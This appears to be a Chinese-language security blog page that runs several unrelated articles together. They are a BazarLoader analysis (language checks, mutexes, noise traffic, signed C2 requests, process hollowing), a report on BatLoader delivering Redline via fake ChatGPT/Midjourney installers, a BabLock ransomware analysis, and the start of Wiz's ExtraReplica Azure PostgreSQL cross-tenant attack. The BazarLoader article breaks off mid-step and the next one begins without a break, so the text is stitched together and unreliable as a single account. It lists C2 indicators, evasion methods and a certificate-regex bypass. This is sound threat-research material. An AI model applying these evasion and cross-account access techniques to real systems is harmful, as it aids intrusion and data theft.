Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108950

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

我會在本文介紹這個加載程序的最後進程,它能夠下載和執行遠程有效負載,例如CobaltStrike和Conti勒索軟件。 BazarLoader是基於Windows的惡意軟件,主要通過電子郵件等方式傳播。

第1步:檢查系統語言與許多惡意軟件類似,BAZARLOADER會手動檢查系統的語言以避免在其母國開展惡意攻擊。

它調用GetSystemDefaultLangID來檢索系統的默認語言,並調用GetKeyboardLayoutList來遍歷系統的鍵盤佈局。

1.png

對於每一種語言,惡意軟件都會使用位掩碼檢查其是否有效。

如果語言標識符大於0x43或小於0x18,則將其視為有效,這樣BAZARLOADER才會繼續執行。

如果它在0x18和0x43之間的範圍內,語言標識符和0x18之間的差異被用作位掩碼中要檢查的位的索引。

BAZARLOADER使用的位掩碼是0xD8080190C03,即二進制的11011000000010000000000110010000110000000011。如果語言ID為0x18,則檢查位掩碼中的第一位。如果語言ID為0x19,則檢查第二位,依此類推……

2.png

以下是惡意軟件避免的位掩碼中所有語言的列表。

3.png

第2步:互斥對象為了檢查自身的多個運行實例,BAZARLOADER首先從其進程中提取SID的子權限。它通過調用GetTokenInformation來檢索進程的令牌完整性級別並調用GetSidSubAuthorityCount和GetSidSubAuthority來訪問SID的子權限來實現這一點。

4.png

如果SID的子權限是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER通過調用CreateMutexA檢查互斥鎖“{b837ef4f-10ee-4821-ac76-2331eb32a23f}”當前是否由任何其他進程擁有。

如果是,惡意軟件會自行終止。但是,檢查互斥對像是否存在的條件存在一個小錯誤,它假定它在實際成功時無法打開互斥對象。

5-.png

此後,惡意軟件解析字符串“{0caa6ebb-cf78-4b01-9b0b-51032c9120ce}”並嘗試使用該名稱創建互斥鎖。

6-.png

如果這個互斥對像已經存在,惡意軟件也會自行終止。

如果SID的子權限不是SECURITY_MANDATORY_SYSTEM_RID或SECURITY_MANDATORY_PROTECTED_PROCESS_RID,BAZARLOADER仍然使用這兩個互斥對象名稱,但在它們前面添加字符串“Global\”。這將檢查全局命名空間中的互斥鎖,而不是每個會話命名空間,這允許惡意軟件檢查它是否有在其他用戶的會話中運行的實例。

第3步:生成隨機Internet流量為了生成Internet活動以隱藏其與C2服務程序的通信,BAZARLOADER首先調用InternetOpenA以使用以下字符串作為HTTP用戶代理來初始化WinINet函數的使用。

5.png

然後,惡意軟件會生成一個線程以定期連接到隨機URL,並利用以下結構生成噪音以隱藏主要的C2流量。

6.png

首先,BAZARLOADER調用InitializeCriticalSection來初始化結構的臨界區對象,該對象稍後用於保護對creation_flag字段的訪問。

接下來,它設置self字段指向結構,creation_flag字段為TRUE,並調用CreateThread生成一個線程來執行這些隨機Internet操作。如果創建線程失敗,creation_flag字段設置為FALSE。

線程首先嘗試獲取臨界區對象的所有權並檢查是否啟用了創建標誌。如果是,惡意軟件會將以下URL解析為堆棧字符串。

7.png

接下來,線程進入一個無限循環,開始產生通訊噪音。對於隨機數生成,BAZARLOADER使用不同的函數調用Windows API BCryptGenRandom來生成一組隨機字節。

它隨機選擇上面列出的4個URL之一,隨機生成URL路徑段,然後將兩者結合起來構建完整的URL。

8.png

在生成路徑段時,該函數取生成的路徑段的最小和最大數量,以及每個路徑段的最小和最大長度。

它在給定範圍內隨機生成路徑段的計數。對於每個段,惡意軟件隨機生成一個字符串,該字符串在給定範圍內具有隨機長度,其中包含數字和大寫/小寫字母。

9.png

最後,惡意軟件調用InternetOpenURLA與生成的URL建立連接。它使用HTTP_QUERY_CONTENT_LENGTH標誌調用HTTPQueryInfoA以檢索內容的長度,分配具有該大小的緩衝區,並調用InternetReadFile從該URL讀取數據。

10.png

這會重複進行,直到C2通信和有效負載注入完成,這會產生大量噪音來掩蓋進出C2服務程序的主要流量。

第4步:密碼結構集群BAZARLOADER主要使用以下結構與C2服務程序進行通信。我們將在分析代碼時解釋結構的字段。

8-.png

首先,它填充主結構中的crypto_struct字段。此結構包含稍後用於解密從C2服務程序發送的可執行文件的加密句柄。

結構可以重構如下:

9-.png

這個惡意軟件會解析字符串“RSA”和“SHA384”,並調用BCryptOpenAlgorithmProvider來獲取這兩個算法的句柄。句柄存儲在crypto_struct結構中的相應字段中。

10-.png

接下來,它解析內存中硬編碼的RSA公鑰和私鑰blob,以導入相應的密鑰句柄。

11-.png

對於每個blob,惡意軟件會解析字符串“RSAFULLPRIVATEBLOB”或“RSAPUBLICBLOB”,並使用它指定blob的類型時調用BCryptImportKeyPair導入相應的密鑰句柄。

12-.png

最後,它調用BCryptGetProperty來檢索RSA公鑰和私鑰密碼塊的長度。在完全填充了這個結構之後,BAZARLOADER現在可以執行RSA加密/解密以及SHA384哈希。

第5步:通過原始IP地址進行C2連接在與C2服務程序通信之前,BAZARLOADER首先解析原始IP地址列表並將它們寫入主結構中的C2_addr_list字段。

該字段是一個表示字符串結構列表的結構,可以如下所示重新構建兩個字符串結構。

10.png

下面是此示例中使用的C2服務程序的所有IP地址的列表。

11.png

對於其中的每個地址,惡意軟件都會嘗試與相應的服務程序通信並下載下一階段的可執行文件。

要建立連接,它會填充以下結構。

12.png

惡意軟件調用InternetCrackUrlA來檢索C2的URL組件和InternetConnectA以連接到服務程序。

13.png

然後將此連接結構的字段複製到主結構的C2_connection_struct中。不過,我不完全確定他們為什麼不直接填充主要結構。

14.png

同樣,BAZARLOADER填充下面的結構以創建對C2的HTTP請求。請求的對象名稱和HTTP動詞被解析為“/data/service”和“GET”。

13-.png

請求的HTTP版本被解析為“HTTP/1.1”,並且BAZARLOADER調用HttpOpenRequestA來使用上面檢索到的連接句柄為C2服務器創建此請求。

它還調用InternetSetOptionA設置接收響應和發送請求的超時時間為300秒,連接C2的超時時間為120秒。

14-.png

BAZARLOADER然後生成附加到請求的HTTP標頭。它通過調用GetSystemTime來使用當前日期和時間填充主結構的curr_system_time和datetime_string字段來實現這一點。

它還生成日期時間字符串的SHA384哈希,以填充結構的datetime_string_hash和datetime_string_hash_len字段。

15-.png

接下來,BAZARLOADER通過調用BCryptSignHash使用其RSA私有簽名生成的哈希,並使用此哈希簽名隨機生成HTTP標頭。

下面是隨機HTTP標頭的形式。

BAZARLOADER的HTTP標頭

16-.png

使用生成的HTTP標頭和請求句柄,BAZARLOADER調用HttpSendRequestA將請求發送到C2服務程序並調用HttpQueryInfoA來檢索狀態碼。

如果狀態碼不是HTTP_STATUS_OK,惡意軟件會轉移到另一個C2地址。

17-.png

如果狀態碼為HTTP_STATUS_OK,BAZARLOADER調用InternetQueryDataAvailable確定要讀取的數據大小,根據大小分配內存緩衝區,並調用InternetReadFile讀取下一階段的有效載荷,直到所有內容都寫入內存。

18-.png

最後,惡意軟件通過調用BCryptDecrypt使用其RSA公鑰解密有效負載,並檢查以確保有效負載的大小大於64字節並且包含MZ標頭。

19-.png

第6步:通過自定義URL進行C2連接如果BAZARLOADER無法從上面列出的IP地址下載下一階段的可執行文件,它會嘗試使用用戶擁有的DNS社區服務OpenNIC解析自定義C2域。

為了開始查詢OpenNIC的API,惡意軟件首先解析URL“api.opennicproject.org”並調用InternetConnectA建立與該網站的連接。

20-.png

接下來,它調用HttpOpenRequestA以創建對象名稱為“/geoip/?bareipv=4wl=allres=8”的GET請求句柄,並使用HttpSendRequestA發送請求。

通過檢查OpenNIC的API,我們可以分解此對象名稱以查看BAZARLOADER請求的內容。其中“bare”參數只列出DNS服務器的IP地址,“IPv4”參數只列出IPv4服務器,“wl”參數只列出白名單服務器,“res”參數只列出8個服務器。

為了測試這一點,我們可以簡單地將下面的路徑粘貼到我們選擇的瀏覽程序中。

14--.png

然後惡意軟件進入循環調用InternetQueryDataAvailable和InternetReadFile來讀取8個OpenNIC的DNS服務器到內存中。

15--.png

對於每個DNS服務程序IP地址,BAZARLOADER將其從字符串解析為int並填充主結構中的opennic_server_struct字段。下面是用於存儲OpenNICIP地址的結構。

16--.png

最後,惡意軟件解碼以下自定義C2域,嘗試使用DNS服務程序解析它們,並下載下一階段的可執行文件。

17--.png

對於每個自定義域,BAZARLOADER調用DnsQuery_A從OpenNIC的服務程序查詢DNS資源記錄,以解析C2服務程序的IP地址。

18.png

在檢查IP地址是否有效後,惡意軟件會嘗試連接它並請求下載下一階段的可執行文件,類似於我們在上一步中看到的。

19.png

第7步:通過process hollowing技術注入成功下載下一階段可執行文件之後,BAZARLOADER開始注入功能,從另一個進程啟動它。

對於此功能,BAZARLOADER填充以下結構。

20.png

首先,它檢查它的進程是否被提升為管理權限。它調用GetCurrentProcess和OpenProcessToken來檢索自己的進程令牌句柄,並調用GetTokenInformation來獲取令牌的提升信息。

5月初,eSentire威脅響應小組(TRU)發現了一起進行中的BatLoader活動,該活動利用谷歌搜索廣告來投遞冒充ChatGPT和Midjourney的虛假網頁:

• ChatGPT是一款人工智能聊天機器人,於2022年11月發布,自那以後就大受歡迎。

• Midjourney是一項生成式人工智能服務,通過該服務,用戶可以提交文本提示來生成圖像。

這兩種AI服務都極受歡迎,但缺少第一方獨立應用程序(即用戶通過其Web界面與ChatGPT進行交互,而Midjourney使用Discord)。

威脅分子利用了這一空檔,企圖將尋找AI應用程序的網民吸引到推廣宣傳虛假應用程序的冒充網頁。

在最新的活動中,BatLoader使用MSIX Windows應用程序安裝程序文件用Redline信息竊取器感染設備。這不是BatLoader第一次針對搜索AI工具的用戶了。在2023年2月,TRU發現了一系列新註冊的BatLoader域名,其中包括chatgpt-t[.]com。

概述ChatGPT冒充廣告引起的Redline感染初始下載在這個例子中,感染可以追溯到谷歌搜索“chatbpt”,這將人引到託管在hxxps://pcmartusa[.]com/gpt/上的ChatGPT冒充下載頁面:

1.png

圖1. ChatGPT冒充頁面。

下載鏈接指向advert-job[.]ru,然後指向代表最終攻擊載荷的job-lionserver[.]site。 job-lionserver[.]site之前被稱為是BatLoader攻擊載荷網站。

2.png

圖2. 追根溯源後發現,HTTP事務指向job-lionserver[.]site上的最終下載。

Chat-GPT-x64.msixChat-GPT-x64.msix(md5hash:86a9728fd66d70f0ce8ef945726c2b77)是一種用於安裝應用程序的Windows應用程序包格式。

3.png

圖3. Chat-GPT-x64.msix文件屬性。

Windows要求組成MSIX應用程序的所有文件都使用一個通用簽名進行簽名。該包由ASHANA GLOBAL LTD數字簽名:

4.png

圖4. Chat-GPT-x64.msix簽名細節。

仔細檢查該包的內容,我們可以看到安裝過程中使用的各項資產:

5.png

圖5. MSIX包中的應用程序資產。

查看AppXManifest文件,我們可以看到該包由一個說俄語的人使用帶有專業許可證的高級安裝程序(Advanced Installer)版本20.2創建而成

6.png

圖6. MSIX文件屬性。

7.png

圖7. MSIX文件屬性和元數據。

在高級安裝程序中打開包,我們可以看到該應用程序將啟動一個可執行文件(ChatGPT.exe)和一個PowerShell腳本(Chat.ps1)。

8.png

圖8. Chat-GPT-x64.msix起始點和權限。

9.png

圖9. 安裝過程中執行的Chat-GPT-x64.msix PowerShell指令

安裝程序還將使用ChatGPT徽標,針對2018年10月更新-1809和2022年10月更新- 22H2之間的Windows桌面版本。

點擊安裝程序文件將啟動Windows應用程序安裝程序嚮導:

10.png

圖10. Windows 10應用程序安裝程序嚮導。該應用程序由ASHANA GLOBAL LTD.簽名。

文件簽名對於MSIX包而言至關重要,安裝程序不允許你在沒有可信證書籤名的情況下執行下一步(Windows 10要求所有應用程序都使用有效的代碼簽名證書進行簽名)。

11.png

圖11. 若沒有有效的簽名,Chat-GPT-x64.msix安裝將無法進行下去。

在安裝過程中,Chat.ps1和ChatGPT.exe在aistubx64.exe的上下文中執行。

12.png

圖12. Process Hacker輸出顯示安裝過程中PowerShell的執行行為。

Chat.ps1是一個基本的PowerShell下載載體。在這種情況下,它下載Redline信息竊取器,並將其從adv-pardorudy[.]ru下載到內存中。腳本還執行對C2提出的兩個請求:

• Start.php:記錄感染的開始時間以及受害者的IP地址。

• Install.php:記錄攻擊載荷在adv-pardorudy[.]ru上的成功安裝、安裝時間以及受害者的IP地址。

攻擊者執行這些操作是為了便於跟踪統計信息,從而使他們能夠輕鬆識別成功感染的受害者,並圍繞特定的活動或主題跟踪度量指標。

13.png

圖13. Chat.ps1使用三個web請求來表示感染開始、攻擊載荷檢索和Redline的成功安裝。

這個Redline樣本(md5hash 7716F2344BCEBD4B040077FC00FDB543)經配置後,使用Bot ID“ChatGPT_Mid”連接到IP 185.161.248[.]81,這個Bot ID暗指這起活動中使用的兩個誘餌(ChatGPT和MidJourney)。

14.png

圖14. Redline文件屬性。

仔細檢查ChatGPT.exe,TRU發現該可執行文件使用Microsoft Edge WebView2,在安裝後的彈出窗口中加載https://chat.openai.com/。

15.png

圖15. 進程樹顯示ChatGPT.exe在精簡的瀏覽器中加載實際的ChatGPT網頁。

其主要功能是轉移用戶的注意力,確保他們安裝了一個有效的應用程序。結果是彈出的窗口含有嵌入在基本瀏覽器窗口中的實際ChatGPT網頁。這個可執行文件的其他功能目前不得而知。

16.png

圖16. 安裝後的Chatgpt.exe窗口。 https://chat.openai.com/使用Microsoft Edge WebView2來加以顯示。

Midjourney冒充廣告引起的Redline感染在2023年5月的另一個案例中,TRU觀察到類似的感染陰謀,企圖推廣宣傳Midjourney冒充頁面。這導致用戶下載Midjourney-x64.msix,這是由ASHANA GLOBAL LTD.簽名的Windows應用程序包。

17.png

圖17. Midjourney-x64.msix安裝。

在這個案例中,安裝程序執行一個經過混淆處理的PowerShell腳本(Chat-Ready.ps1),該腳本最終與圖13中所示的腳本相同,只是使用了不同的C2域。

18.png

圖18. Midjourney-x64.msix PowerShell執行。

19.png

圖19. 安裝後的midjourney.exe。在精簡版瀏覽器窗口中加載https://www.midjourney.com/。

我們做了什麼? • TRU針對全球客戶的環境進行了積極主動的威脅搜索,以搜索已識別的應用程序包。

• 我們部署了新的檢測內容來識別MSIX應用程序包濫用活動。

• 我們的24/7全天候SOC網絡分析師團隊提醒受影響的客戶,並提供了補救指導和支持。

你能從中學到什麼? • 生成式AI技術和聊天機器人在2023年大受歡迎。遺憾的是,當系統管理員想方設法控制對這些平台的訪問時,用戶可能會另闢蹊徑以訪問它們。

• 威脅分子一直熱衷於利用這些大受歡迎的工具,承諾無限制地訪問。

• 我們的遙測數據顯示,濫用谷歌搜索廣告的現像在2022年第四季度和2023年初達到了頂峰。成功率已有所下降,這表明谷歌已經對濫用其廣告服務的行為進行了打壓。然而,最近這起活動表明,惡意廣告仍然可以避開審核員的視線,向受害者投遞惡意軟件。

該活動與之前發現的BatLoader活動有幾個相似之處:1. 使用谷歌搜索廣告冒充主要的品牌和服務。

2. 使用高級安裝程序創建安裝包。

3. 攻擊載荷站點job-lionserver[.]site以前歸因於BatLoader。

4. 竊取信息的惡意軟件攻擊載荷。

我們威脅響應小組(TRU)團隊的建議:• 提高對偽裝成合法應用程序的惡意軟件的意識,並在貴公司的網絡釣魚和安全意識培訓(PSAT)計劃中加入相關示例,以教育員工如何保護自己免受類似的網絡威脅。

○切記,一項有效的PSAT計劃強調通過提高風險意識來確保網絡彈性,而不是試圖把每個人都變成安全專家。

• 保護端點免受惡意軟件侵害。

○確保反病毒特徵是最新的。

○使用下一代反病毒軟件(NGAV)或端點檢測和響應(EDR)產品來檢測和遏制威脅。

• Windows Defender應用程序控制提供了管理打包應用程序(MSIX)的選項。詳見https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/manage-packaged-apps-with-windows-defender-application-control。

本文會分析一種名為BabLock(又名Rorschach)的勒索軟件,它與LockBit有許多共同的特點。

最近,一種名為BabLock(又名Rorschach)的勒索軟件因其複雜而快速的攻擊鏈而引起轟動,該軟件使用的技術非常有創新性。雖然主要基於LockBit,但也汲取了其他不同勒索軟件部分的功能,並最終組合成為BabLock(檢測為Ransom.Win64.LOCKBIT.THGOGBB.enc)。 LockBit現在已經開始第三次迭代。

我們會在本文中詳細介紹它的攻擊鏈,並分析其可能的起源。

發現過程2022年6月,研究人員發現了一個勒索軟件(後來被證明是BabLock),它使用了一種獨特的附加擴展方式,而不是勒索軟件攻擊中通常使用的“一個樣本,一個擴展”方法,我們發現,攻擊者在針對這種特定感染的固定勒索軟件擴展的頂部添加了從00-99的數值增量。因此,即使在一台受感染的計算機上,一次執行也可能產生多個擴展變體。

1.png

該勒索軟件的獨特特徵是顯示擴展的數值增量

調查發現,勒索軟件總是以多組件包的形式部署,主要由以下文件組成:

加密的勒索軟件文件config.ini;

惡意側載DLL (DarkLoader, config.ini解密器和勒索軟件注入器);

用於加載惡意DLL的非惡意可執行文件;

使用正確密碼執行非惡意二進製文件的CMD文件。

2.png

在一個感染實例中發現的主要勒索軟件包

DarkLoader DLL將檢查特定的命令,特別是--run,它會檢查啟動加密過程所需的正確的4位密碼。雖然它對config.ini本身的內容的解包意義不大,但如果提供正確,DLL將執行基本的勒索軟件例程。

3.png

如果在命令行中添加了正確的密碼,勒索軟件將繼續進行整個加密過程

一旦DLL組件被非惡意可執行文件加載,它將立即在當前可執行文件的路徑中查找config.ini文件。一旦找到它,DLL將解密config.ini,然後用一組特定的命令行執行notepad.exe。

在這個異常的活動中,研究人員發現了一些顯著且一致的模式:

主要的勒索軟件二進製文件通常以加密的config.ini文件的形式發送;

DarkLoader是通過使用合法可執行文件的DLL側加載來執行的;

config.ini文件由專門為這些活動設計的自定義加載程序解密(檢測為Trojan.Win64.DarkLoader);

在同一受感染的計算機中,BabLock為每個文件的擴展名字符串附加一個從00到99的隨機數(例如,extn00-extn99作為同一感染中的擴展名);

任何DarkLoader DLL都可以用來解密任何加密的勒索軟件config.ini,不需要特定的二進製配對。

DarkLoader DLL使用Direct SysCall API來選擇幾個但重要的調用,以避免API讀取分析。解密後的BabLock勒索軟件總是使用VMProtect進行反虛擬化。

BabLock是通過掛鉤API Ntdll的攻擊注入加載的。 RtlTestBit跳轉到包含勒索軟件代碼的內存。

針對不同攻擊的密碼有幾種變體,但它們都在一定的範圍內。

4.png

提供給notepad.exe的命令行參數,用於在最近的攻擊中加載和執行勒索軟件

5.png

DLL使用幾個直接的SysCall指令來避免API讀取

6.png

notepad.exe文件被注入到RtlTestBit的API調用線程中,該線程已被修復/掛起以跳轉到惡意例程

精妙的攻擊技術在2022年6月首次發現BabLock時,研究人員搜索了類似的文件,發現這些文件的最早記錄可以追溯到2022年3月。在發現這一點後,研究人員想弄清楚它是如何逃避檢測這麼長時間的。

自2022年6月以來,只有少數幾起涉及該勒索軟件的記錄事件,包括最近的一起。由於數量較少,截至撰寫本文時,還沒有涉及地區、行業或受害者資料的統計數據。

7.png

BabLock勒索軟件相關事件

然而,由於其顯著特徵,與BabLock相關的攻擊可以很容易地識別。如上所述,在每次文件加密後,勒索軟件都會在其硬編碼擴展名中添加一個介於00-99之間的隨機數字符串,這導致相同的勒索軟件擴展多達100種不同的變體。

8.png

顯示將00-99之間的隨機數字符串附加到加密文件的代碼片段

它還有一個相當複雜的執行例程:

它使用特定的數字代碼來正確執行;

它將包拆分為多個組件;

它將實際有效負載拆解並隱藏到加密文件中;

它使用普通應用程序作為加載程序;

最後,BabLock使用公開可用的工具作為其感染鏈的一部分。我們發現最常用的工具如下:

Chisel-傳輸控制協議(TCP)和用戶數據報協議(UDP)通道;

Fscan-一個掃描工具;

通過使用這兩個工具,再加上擁有設置活動目錄(AD)組策略的功能的BabLock/LockBit,攻擊者可以毫不費力地在網絡中翱翔。

BabLock與LockBit等勒索軟件的異同根據調查,BabLock使用的大多數例程與Lockbit(2.0)的關係密切。除此之外,它還與Babuk、Yanloowang等勒索軟件存在相似之處。

最初,由於勒索通知的相似性,我們懷疑它與DarkSide勒索軟件有關。然而,與DarkSide勒索軟件不同,BabLock通過執行以下命令行來刪除卷影副本:

9.png

因此,研究人員立即排除了這種關係,因為它不同於DarkSide的操作,即通過Windows Management Instrumentation(WMI)和PowerShell刪除卷影副本(這在技術上更複雜,很難通過標準監控工具檢測到)。

10.png

勒索軟件二進製文件解密並執行命令行以刪除卷影副本

Lockbit(2.0)的一個共同特徵是使用相同的組策略來生成桌面放置路徑。同樣,使用vssadmin刪除卷影副本也是LockBit攻擊中大量使用的例程(儘管也是許多現代勒索軟件的常見例程)。儘管如此,這種相似之處還是不可思議的。此外,它運行相同的命令來為AD執行GPUpdate。因此,該勒索軟件的檢測仍屬於LockBit家族。

11.png

將BabLock生成桌面放置路徑的組策略(左)與LockBit的組策略進行比較(右)

BabLock看起來像是一個由不同的已知勒索軟件家族拼接而成的怪物。

12.png

BabLock與其他勒索軟件家族的相似之處

總結研究人員發現BabLock時已經是其第三個迭代版了。然而,由於其大部分結構仍然類似於Lockbit v2.0,我們推測這可能來自另一個分支機構或組織。 LockBit v3.0發布近一年來,即使在最近的攻擊中,研究人員也沒有發現BabLock的有效負載發生任何變化,這進一步說明它與實際的LockBit組織既沒有聯繫。據分析,BabLock背後的攻擊者成功地利用了LockBit v2.0的許多基本功能,並添加了不同勒索軟件家族功能,以創建他們自己的獨特變體,這些變體可能在未來進一步增強。

安全建議如下:

對資產和數據進行盤點;

識別授權和未經授權的設備和軟件;

審計事件和事件日誌;

管理硬件和軟件配置;

僅在必要時授予員工角色的管理權限和訪問權限;

監控網絡端口、協議和服務;

建立只執行合法應用程序的軟件許可列表;

實施數據保護、備份和恢復措施;

啟用多因素身份驗證(MFA);

將最新版本的安全解決方案部署到系統的所有層,包括電子郵件、端點、web和網絡;

注意攻擊的早期跡象,例如係統中存在可疑工具;

實施多方面的方法可以幫助組織保護其係統(如端點、電子郵件、web和網絡)的潛在入口點。

各類組織使用雲服務的前提是各家的賬戶都是獨立的,特別是像數據庫這樣的高價值資產,是與其他客戶隔離的。

Wiz Research在目前已被廣泛使用的Azure數據庫PostgreSQL服務器中發現了一系列關鍵漏洞。這個被稱為ExtraReplica的漏洞允許對其他客戶的PostgreSQL數據庫進行未經授權的讀取訪問,繞過隔離保護。如果被利用,攻擊者可能已經復制並獲得對Azure PostgreSQL服務器客戶數據庫的讀取權限。

Wiz Research於2022年1月向微軟披露了ExtraReplica。目前,微軟確認該漏洞已完全緩解,Azure 客戶無需採取任何行動。微軟表示,他們不知道有任何利用此漏洞的企圖。

根據微軟的說法,該漏洞不會影響單服務器或具有顯式VNet網絡配置(私有訪問)的服務器。在這篇文章中,我們將介紹整個攻擊流程,從分析潛在的攻擊面到完整的攻擊,以及如何最終繞過雲隔離模型。看完本文你就會知道:

1.通過識別和利用Azure 的PostgreSQL 服務器服務中的漏洞,在我們自己的PostgreSQL 服務器上執行代碼。

2.在服務的內部網絡中執行偵察,發現我們可以訪問子網中的其他客戶。

3.在服務的身份驗證過程中發現了第二個漏洞:由於正則表達式末尾的通配符(.*) 導致的證書通用名(CN) 的正則表達式驗證過度允許我們登錄到目標PostgreSQL 示例使用頒發給任意域的證書。注意正則表達式末尾的錯誤,在此處標記:/^(.*?)\.eee03a2acfe6\.database\.azure\.com(.*)$/

通過為我們自己的域(wiz-research.com)replication.eee03a2acfe6.database.azure.com.wiz-research.com 頒發證書,我們成功訪問了我們在不同租戶上擁有的單獨帳戶的數據庫,證明了跨帳戶數據庫訪問。

4.利用Certificate Transparency(簡稱CT)提要來識別客戶目標,最終允許我們使用前面提到的漏洞複製任何PostgreSQL Flexible Server示例(除了配置了Private access - VNet的示例)。

output_replica--1-.gif

ExtraReplica攻擊流程

我們之前在Azure Cosmos DB中發現了漏洞。我們能否在其他Azure 服務中重現類似漏洞?

在2021年的Black Hat Europe大會上,我們展示了“ChaosDB:我們如何入侵了成千上萬的Azure 客戶的數據庫”,該文說明瞭如何通過Azure Cosmos DB 中的一系列錯誤配置來不受限制地訪問Microsoft Azure 客戶的數據庫。在之前的研究中,我們的出發點是在內部Azure 環境中的Jupyter Notebook 示例上運行任意代碼。我們發現Jupyter Notebook 示例可以通過網絡訪問內部管理API,從而向內部Azure 組件打開攻擊向量。

在Black Hat之後,我們想知道它是否可能成為一種模式,以及其他為客戶提供專用的虛擬機(作為內部Azure環境的一部分)的託管服務是否也可以被敏感的網絡組件訪問。

這個方向引導我們採取以下策略來尋找我們的下一個研究目標。

我們尋找具有以下功能的新目標:

1.在內部雲環境中為客戶提供專用虛擬機示例的託管雲服務。

2.一種允許我們執行代碼的服務,可以作為服務標準功能的一部分,也可以通過新發現的漏洞執行。如果我們可以使用漏洞執行代碼,我們將更有可能找到一個不那麼嚴格的環境,因為服務開發人員可能不希望用戶在那裡運行他們的代碼。

3.服務性質應具有很高的價值,被許多人使用,並包含敏感信息。

如上所述,我們的第一個想法是瞄準雲管理的數據庫服務。雲服務提供商(CSP)以託管服務的形式向客戶提供多種開源和商業數據庫解決方案。這些數據庫示例運行在CSP擁有和運行的內部雲環境中,通常不屬於用戶的雲環境。此外,大多數數據庫解決方案提供了執行運行系統級命令的功能,這正是我們正在尋找的。

PostgreSQL服務器幾乎具有上述所有屬性:它很受歡迎,包含敏感數據,而且它的所有示例似乎都在內部Azure 環境中運行。 PostgreSQL 是一個大項目;它比其他數據庫解決方案複雜且提供更多功能。

什麼是Azure數據庫? PostgreSQL是一個強大的、開源的、成熟的對象關係數據庫,成千上萬的組織使用它來存儲不同類型的數據。它以其經過驗證的架構和可靠性贏得了強大的聲譽。 Azure PostgreSQL數據庫服務器是Azure提供的四個PostgreSQL之一。它是一種完全託管的數據庫即服務,可提供動態可擴展性和簡化的開發人員體驗。

ExtraReplica-Wiz-image2.png

PostgreSQL 部署選項及其優勢

攻擊面概述為了了解我們的攻擊面,我們運行了一組PostgreSQL查詢,並收集了一些關於我們環境的信息。例如:我們的特權是什麼?哪些PostgreSQL 功能可用?等等。在了解了這些信息之後,我們得出結論,即使我們的數據庫用戶是PostgreSQL的高權限組azure_pg_admin的一部分,我們仍然缺乏執行本地代碼所需的特定PostgreSQL權限,如下圖所示:

ExtraReplica-Wiz-image3.png

由於缺乏權限,運行系統級的代碼執行失敗

這意味著我們必須找到一種方法來升級我們在PostgreSQL示例中的權限。幸運的是,我們可以參考之前關於PostgreSQL中權限升級的研究(1, 2)。

漏洞1 ——PostgreSQL權限升級在研究我們的示例時,我們發現Azure修改了他們的PostgreSQL引擎。 Azure引入這些變化到PostgreSQL引擎很可能是為了加強它們的權限模型並添加新功能。我們設法利用這些修改中的一個漏洞來實現權限升級,允許我們作為超級用戶執行任意查詢。獲得超級用戶權限後,我們可以在示例上執行運行系統級別的命令。

雖然微軟已經修復了這個漏洞,但是出於對其他可能對其PostgreSQL引擎進行了類似修改的廠商的謹慎考慮,我們現在不會透露漏洞的細節。

4.png

通過惡意SQL查詢執行運行系統級代碼

環境偵察在獲得在我們的PostgreSQL 託管示例上執行任意代碼的能力後,我們對環境進行了一些偵察。我們意識到我們在主要託管PostgreSQL 進程的docker 容器中以非特權azuredb 用戶身份運行。該容器正在運行Ubuntu 18.04.6 LTS 的修改映像,並安裝了最新的內核(5.4.0-1063-azure),幾乎排除了使用當時已知的內核漏洞來繞過該容器的可能性。在我們的偵察過程中,我們還注意到可以從容器內部訪問以下網絡接口:

ExtraReplica-Wiz-image5.png

可從PostgreSQL 容器內部訪問的網絡接口

通過查看網絡接口,我們意識到容器與其主機共享一個網絡名稱空間。看到內部IP地址給了我們一個想法,如果通過這些內部網絡接口路由,我們是否可以訪問其他客戶的其他PostgreSQL示例?

我們在另一個Azure帳戶上創建了另一個PostgreSQL Flexible示例,並試圖從我們創建的第一個數據庫中訪問它,通過端口5342上的內部網絡接口(eth0, 10.0.0.0/23)。令我們驚訝的是,它成功了!最重要的是,即使示例的防火牆配置為拒絕所有連接嘗試,它也能正常運行。我們認為這違反了預期的隔離模型,因為我們只是通過利用某種內部網絡訪問來連接到一個不相關的PostgreSQL示例。然而,由於我們仍然需要這個數據庫的用戶名和密碼來執行任何有意義的運行(例如讀取或修改數據),這個漏洞的嚴重性仍然很低。

值得一提的是,當我們運行netstat命令時,除了5432 (PostgreSQL),還有其他端口在所有接口(0.0.0.0)上監聽。然而,當我們試圖從內部子網連接到其中一些時,我們超時了。我們執行了更多的測試,包括監聽任意端口並試圖從另一個示例連接,但失敗了。我們懷疑存在一個配置為顯式允許端口5432連接的防火牆。

我們想知道,為什麼允許這種聯繫開始?我們的示例可以通過10.0.0.0/23 子網訪問其他示例的正當理由是什麼?

漏洞2——使用偽造的證書繞過跨帳戶身份驗證為了探究為什麼我們的示例可以在內部訪問其他示例,我們決定檢查設備上的兩個文件:pg_hba.conf 和pg_ident.conf。根據PostgreSQL 文檔,這些文件分別負責客戶端身份驗證和用戶名映射。 pg_hba.conf 文件定義了哪些客戶端可以連接到哪個數據庫、來自哪個IP 範圍、使用哪個用戶名和身份驗證方法。

讓我們檢查一下這些來自我們示例的配置文件:

pg_hba.conf:

6.png

Azure PostgreSQL Flexible Server pg_hba.conf

在第25行中,我們看到客戶端可以使用標準密碼身份驗證(md5)從內部網絡和外部網絡連接到示例。此外,在第17到21行中,特殊帳戶複製只能在內部網絡中使用客戶端證書認證進行身份驗證(子網10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)。

複製用戶的目的是什麼?事實證明,PostgreSQL提供了一個獨特的功能,允許將數據庫數據從一個服務器複製到另一個服務器,從而“複製”數據庫。這通常用於備份和故障轉移/高可用性場景。例如,Azure將其用於其高可用性功能:

7.png

高可用性功能如果我們能夠設法以復制用戶身份驗證其他客戶的其他PostgreSQL 示例,我們應該能夠獲得他們數據庫的完整副本(即復制)。

使用客戶端證書進行身份驗證時,PostgreSQL 會驗證提供的證書是否由受信任的證書頒發機構(CA) 簽名。受信任的CA 列表可在SSL 證書頒發機構文件中找到。 SSL 證書頒發機構文件位置位於PostgreSQL 服務器配置中的ssl_ca_file 字段下。

8.png

